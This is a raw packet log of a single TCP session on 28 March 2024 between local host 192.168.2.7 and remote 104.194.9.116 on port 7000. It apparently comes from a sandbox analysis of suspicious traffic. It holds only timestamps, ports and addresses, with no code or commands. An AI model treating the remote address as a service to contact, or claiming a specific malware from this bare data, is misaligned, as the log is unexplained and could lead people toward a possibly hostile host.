Mar 28, 2024 10:25:39.113471031 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.113509893 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.113523006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145662069 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145683050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145698071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145734072 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145777941 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145843029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145876884 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.145936012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145951033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.145989895 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.145999908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146044016 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.146059036 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146114111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146157980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146162033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.146218061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146260977 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.146307945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146390915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146435976 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.146450043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146502018 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.146550894 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.146555901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.191819906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234402895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234503031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234518051 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234530926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234544039 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234556913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234563112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234580994 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234621048 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234677076 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234694958 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234709024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234720945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234739065 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234743118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234756947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234759092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234805107 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234877110 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234890938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234906912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234920979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234932899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234935999 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234946966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234960079 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.234961033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234973907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.234976053 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.235017061 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.261646986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.261682034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.261745930 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.261770964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.261857033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.261903048 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.261939049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262041092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262084961 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.262095928 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262121916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262164116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.262176991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262238026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262279034 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.262301922 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262357950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262401104 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.262419939 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262485027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262525082 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.262528896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262583017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262625933 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.262629032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262689114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.262731075 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.298717022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346476078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346499920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346513033 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346525908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346539974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346554041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346565008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.346566916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346565008 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.346580982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346595049 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346609116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346610069 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.346622944 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346632957 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.346663952 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.346684933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346713066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.346757889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.347398043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.347414017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.347428083 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.347445965 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.347453117 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.347459078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.347470999 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.347489119 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.347491980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.347512007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377314091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377337933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377372026 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377397060 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377451897 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377485991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377558947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377602100 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377638102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377765894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377803087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377805948 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377855062 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377868891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377882957 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377890110 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377902985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377923965 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377938032 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.377978086 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.377981901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.378042936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.378083944 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.378106117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.378160000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.378197908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.378205061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.426167965 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.457686901 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457716942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457726955 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457766056 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.457772970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457787037 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457799911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457813025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457817078 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.457827091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457839966 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.457854986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457866907 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.457911968 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457938910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.457958937 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.457978010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458017111 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.458034992 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458061934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458105087 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.458127022 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458173990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458218098 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458218098 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.458272934 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458317041 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.458328009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458391905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.458436966 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489051104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489079952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489094019 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489106894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489125967 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489140987 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489157915 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489171028 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489185095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489212036 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489216089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489259005 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489284039 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489355087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489397049 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489411116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489438057 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489480972 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489492893 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489556074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489593983 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489603043 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489634991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489672899 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.489696026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489757061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.489794970 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.552560091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.581864119 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.581890106 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.581932068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.581954002 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.581986904 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.581996918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.582077980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.582093000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.582128048 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.582350969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.582407951 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.582423925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.582596064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.582639933 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.582915068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.582988024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583034039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.583093882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583189964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583229065 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.583254099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583362103 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583406925 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.583430052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583544016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583589077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.583615065 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583698034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.583741903 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.583777905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599327087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599380016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599391937 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.599453926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599497080 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.599497080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599555969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599602938 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.599617958 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599664927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599711895 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.599714994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599802017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599847078 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.599868059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599905014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.599947929 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.599972963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.600059986 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.600102901 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.600121021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.600162983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.600208998 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.600229025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.600263119 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.600306034 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.600333929 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.644953966 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.709819078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.709836960 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.709851027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.709901094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.709908009 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.709916115 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.709928989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.709934950 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.709974051 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.709978104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.709990978 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710016012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710027933 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.710030079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710042953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710057020 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710072041 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.710100889 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.710119009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710138083 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710164070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710175991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710177898 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.710201025 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710212946 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.710216045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710239887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710254908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.710273027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.710316896 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.725867987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.725888014 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.725910902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.725929976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.725967884 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.725991011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726005077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726062059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726069927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726106882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726120949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726174116 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726191044 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726211071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726223946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726228952 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.726228952 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.726228952 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.726237059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726248980 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.726277113 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.726289034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726319075 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.726321936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.726368904 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.764597893 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.816812038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.819411993 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.819427967 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.819474936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.819487095 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.819489002 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.819538116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.819953918 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820004940 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820019007 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820031881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820046902 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.820070028 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:39.820079088 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820092916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820106030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:39.820136070 CET	49713	7000	192.168.2.7	104.194.9.116
